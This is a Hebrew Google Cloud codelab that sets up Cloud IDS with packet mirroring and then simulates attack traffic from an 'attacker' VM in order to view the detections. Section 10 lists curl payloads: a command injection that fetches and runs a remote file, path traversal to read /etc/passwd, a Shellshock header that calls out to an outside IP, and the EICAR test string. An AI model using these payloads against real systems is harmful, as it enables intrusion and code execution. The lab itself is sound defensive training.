Cloud IDS

1. מבוא

בשיעור ה-Lab הזה תפרסו את Cloud IDS, שירות מתקדם לגילוי חדירות מהדור הבא, שמספק גילוי איומים של פריצות, תוכנות זדוניות, תוכנות ריגול ומתקפות להשגת שליטה. תדמו מספר מתקפות ותראו את פרטי האיום ב-Cloud Console.

מה תלמדו

  • איך יוצרים נקודות קצה של Cloud IDS
  • איך יוצרים 2 מכונות וירטואליות באמצעות פקודות gcloud
  • איך יוצרים מדיניות רפליקציה של חבילות נתונים
  • איך מדמים תנועת תקיפה ממכונה וירטואלית
  • איך צופים בפרטי האיומים ב-Cloud Console וב-Cloud Logging

מה תצטרכו

  • ידע בפקודות בסיסיות של Linux

2. תרחישים לדוגמה לשימוש ב-Cloud IDS

‫Cloud IDS הוא שירות מקורי של Google Cloud לגילוי חדירות (IDS) מהדור הבא, שמאפשר ללקוחות לעמוד בדרישות מתקדמות לזיהוי איומים ולעמוד בתקנים כמו PCI 11.4. השירות מבוסס על טכנולוגיות הגנת האיומים של Palo Alto Networks, ומספק גילוי חדירות מתקדם. שילוב של התשתית ברמה עולמית של Google Cloud עם אבטחה ברמה עולמית של Palo Alto Networks מספק ללקוחות שילוב ייחודי של שירות מנוהל מלא, ביצועים גבוהים ויעילות אבטחה גבוהה ביותר לזיהוי איומים מתקדמים.

הדבר החשוב ביותר ללקוחות שעוברים לענן הוא האבטחה. הם רוצים אמצעי אבטחה דומים לאלה שקיימים בשרתים המקומיים, כמו שירות לזיהוי פריצות (IDS) בענן. הם מעדיפים מאוד להשתמש בפתרון IDS מנוהל שמותאם לענן, כדי להקל על הפריסה, לשפר את הביצועים ולצמצם את העלויות בהשוואה לפריסת פתרון אבטחה של צד שלישי ולניהול התשתית או להוספת חתימות משלהם. ‫Google Cloud IDS הוא שירות מנוהל של מערכת לגילוי חדירות (IDS) עם התאמה אוטומטית לעומס, מקצה לקצה, שמאפשר ללקוחות להקדיש את הזמן שלהם לניתוח איומים ולצמצום הסיכונים, ולא לבזבז זמן ומשאבים על ניהול התשתית או חתימות של איומים.

‫Cloud IDS נפרס מחוץ לפס, והוא יכול לזהות איומים ולהתריע עליהם, אבל הוא לא יכול לחסום אותם. הוא משתמש ברפליקציה של חבילות הנתונים ב-Google Cloud כדי ליצור עותק של תעבורת הנתונים ברשת, שנבדק באמצעות מנוע זיהוי האיומים של Palo Alto Network.

3. טופולוגיית Codelab

5a276f399e1d31e2.png

איור 1. סקירה כללית של ארכיטקטורת הפריסה של Cloud IDS בשיעור ה-Lab הזה.

4. הגדרה ודרישות

הגדרת סביבה בקצב אישי

  1. נכנסים ל-מסוף Google Cloud ויוצרים פרויקט חדש או משתמשים בפרויקט קיים. אם עדיין אין לכם חשבון Gmail או Google Workspace, אתם צריכים ליצור חשבון.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • שם הפרויקט הוא השם המוצג של הפרויקט הזה למשתתפים. זו מחרוזת של תווים שלא נמצאת בשימוש ב-Google APIs, ואפשר לעדכן אותה בכל שלב.
  • מזהה הפרויקט חייב להיות ייחודי בכל הפרויקטים ב-Google Cloud, והוא קבוע (אי אפשר לשנות אותו אחרי שמגדירים אותו). מסוף Cloud יוצר באופן אוטומטי מחרוזת ייחודית. בדרך כלל לא צריך להתייחס אליה. ברוב סדנאות ה-Codelab, צריך להפנות למזהה הפרויקט (ובדרך כלל הוא מזוהה כ-PROJECT_ID), אז אם לא מוצא חן בעיניכם, אפשר ליצור מזהה אקראי אחר, או לנסות מזהה משלכם ולבדוק אם הוא זמין. אחרי שהפרויקט נוצר, הוא 'קפוא'.
  • יש ערך שלישי, מספר פרויקט, שחלק מממשקי ה-API משתמשים בו. במאמרי העזרה מפורט מידע נוסף על שלושת הערכים האלה.
  1. בשלב הבא, תצטרכו להפעיל את החיוב במסוף Cloud כדי להשתמש במשאבי Cloud או בממשקי API. העלות של התרגול הזה לא אמורה להיות גבוהה, ואולי אפילו לא תצטרכו לשלם בכלל. כדי לכבות את המשאבים ולא לחייב אתכם מעבר למה שמוסבר במדריך הזה, צריך לפעול לפי ההוראות לניקוי שמופיעות בסוף ה-Codelab. משתמשים חדשים ב-Google Cloud זכאים לתוכנית תקופת ניסיון בחינם בשווי 300$.

מפעילים את Cloud Shell

אפשר להפעיל את Google Cloud מרחוק מהמחשב הנייד, אבל ב-codelab הזה תשתמשו ב-Google Cloud Shell, סביבת שורת פקודה שפועלת בענן.

ב-GCP Console, לוחצים על סמל Cloud Shell בסרגל הכלים שבפינה הימנית העליונה:

bce75f34b2c53987.png

יחלפו כמה רגעים עד שההקצאה והחיבור לסביבת העבודה יושלמו. בסיום התהליך, אמור להופיע משהו כזה:

f6ef2b5f13479f3a.png

המכונה הווירטואלית הזו כוללת את כל הכלים שדרושים למפתחים. יש בה ספריית בית בנפח מתמיד של 5GB והיא פועלת ב-Google Cloud, מה שמשפר מאוד את הביצועים והאימות ברשת. אפשר לבצע את כל העבודה ב-Lab הזה רק באמצעות דפדפן.

5. לפני שמתחילים

הפעלת ממשקי ה-API

ב-Cloud Shell, מוודאים שמזהה הפרויקט מוגדר

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

הפעלת כל השירותים הנדרשים

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. יצירת רשת VPC

רשת VPC

מ-Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Subnet

מ-Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

גישה לשירות פרטי

מ-Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Private Service Connection

מ-Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Firewall Rules

כדי לאפשר ל-IAP להתחבר למכונות הווירטואליות, צריך ליצור כלל חומת אש ש:

  • רלוונטי לכל מכונות ה-VM שרוצים לגשת אליהן באמצעות IAP.
  • מאפשר תנועה נכנסת מטווח כתובות ה-IP‏ 35.235.240.0/20. הטווח הזה מכיל את כל כתובות ה-IP שמשמשות את IAP להעברת TCP.

מ-Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

כדי לאפשר יציאת HTTP רגילה (TCP 80) ופרוטוקול ICMP לשרת:

  • רלוונטי למשאבים עם תג הרשת server
  • מאפשר תעבורה נכנסת מכל המקורות

מ-Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

יצירת מופע Cloud NAT

Cloud Router

מ-Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

מ-Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. יצירת נקודת קצה של Cloud IDS

בקטע הזה, יוצרים נקודת קצה של Cloud IDS באזור us-east1, עם רמת חומרה שמוגדרת כמידע. יצירת נקודת הקצה של IDS נמשכת כ-20 דקות.

נקודת קצה של IDS

מ-Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

איך מוודאים שנקודת הקצה של Cloud IDS הופעלה

gcloud ids endpoints list --project=$PROJECT_ID

פלט –

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. יצירת 2 מכונות וירטואליות

בקטע הזה, יוצרים 2 מכונות וירטואליות. הראשון יהיה שרת האינטרנט שלכם שמשוכפל ל-Cloud IDS. המכונה הווירטואלית השנייה תהיה מקור תנועת התקפות.

מכונה וירטואלית 1 (שרת)

מ-Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Virtual Machine 2 (Client)

מ-Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. הכנת השרת

במשימה הזו תאמתו את השרת ותספקו מטען ייעודי (payload) של תוכנות זדוניות לא מזיקות עבור הלקוח.

התחברות למכונה הווירטואלית באמצעות SSH דרך Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

אישור ששירות האינטרנט פועל

sudo systemctl status nginx

פלט – אימות שהאפליקציה פעילה ופועלת

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

שינוי ספרייה לשירות אינטרנט

cd /var/www/html/

יצירת קובץ תוכנה זדונית לא מזיקה בשרת האינטרנט

sudo touch eicar.file

הדבקת התוכן

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

חזרה ל-Cloud Shell

exit

איך יוצרים מדיניות רפליקציה של חבילות נתונים ב-Cloud IDS

מזהים את כלל העברת התנועה של נקודת הקצה של IDS ומוודאים שהמצב של נקודת הקצה של IDS הוא READY (מוכן).

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

פלט לדוגמה – מעתיקים את הערך מ-endpointForwardingRule

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

שומרים את כלל ההעברה של נקודת הקצה של IDS במשתנה.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

מדיניות רפליקציה של חבילות נתונים

מ-Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

אימות של יצירת מדיניות הרפליקציה של חבילות נתונים

מ-Cloud Shell

gcloud compute packet-mirrorings list

פלט

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. הדמיה של תנועת נתונים של מתקפה

התחברות באמצעות SSH למכונה הווירטואלית של התוקף (לקוח)

מ-Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

מריצים את בקשות ה-curl הבאות כדי לדמות תנועה זדונית.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

יוצאים מהמכונה הווירטואלית כדי לחזור אל CloudShell

exit

11. בדיקת איומים שזוהו על ידי Cloud IDS

ניווט אל לוח הבקרה של Cloud IDS

תפריט הניווט > אבטחת רשת > Cloud IDS

37583419aa604aa8.png

עוברים לכרטיסייה Threats (איומים).

b7d934f409b4e2b.png

כפי שאפשר לראות, Cloud IDS תיעד פרופילים שונים של תעבורת נתונים של מתקפות וסיפק את הפרטים על כל איום. אם לא מופיעות איומים, יכול להיות שתצטרכו ללחוץ על הלחצן 'רענון'. עכשיו נתעמק קצת יותר ונציג את פרטי האיום.

מאתרים את האיום 'Bash Remote Code Execution Vulnerability' (פגיעות ב-Bash שמאפשרת הפעלת קוד מרחוק), לוחצים על סמל האפשרויות הנוספות (3 נקודות) משמאל ובוחרים באפשרות 'הצגת פרטי האיום'.

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

עכשיו נציג את פרטי האירוע הזה ב-Cloud Logging. כדי לחזור לדף 'איומים', לוחצים על החץ שמאלה .

לוחצים על סמל האפשרויות הנוספות (3 נקודות) בצד שמאל ובוחרים באפשרות 'הצגת יומני איומים'.

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

אותם פרטים מועברים אל Cloud Logging. כך תוכלו לשלוח את היומנים ל-Cloud Storage, ל-Chronicle או לכל מערכת SIEM/SOAR. אפשר גם ליצור תהליכי עבודה בהתאמה אישית כדי לבצע פעולות לתיקון בעיות על סמך התראות. לדוגמה, אפשר ליצור פונקציה של Cloud Functions שמופעלת כשמתקבלת התראה, וליצור או לעדכן כלל חומת אש כדי לחסום את כתובת ה-IP, או ליצור או לעדכן מדיניות של Cloud Armor.

12. שלבי הניקוי

יציאה ממופע ב-VM (כל הכרטיסיות)

exit

מחיקת רכיבי מעבדה ממסוף Cloud Shell יחיד

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. מעולה!

כל הכבוד, סיימתם את ה-Codelab.

מה נכלל

  • תרחישים לדוגמה לשימוש ב-Cloud IDS
  • דרישות רשת
  • ממשקי API נתמכים
  • יצירת נקודת קצה של Cloud IDS
  • פריסה של 2 מכונות וירטואליות
  • נוצרה תנועה של 'מתקפה' מהלקוח
  • איומים מאומתים זוהו על ידי IDS
  • בדיקת פרטי האיומים ויומנים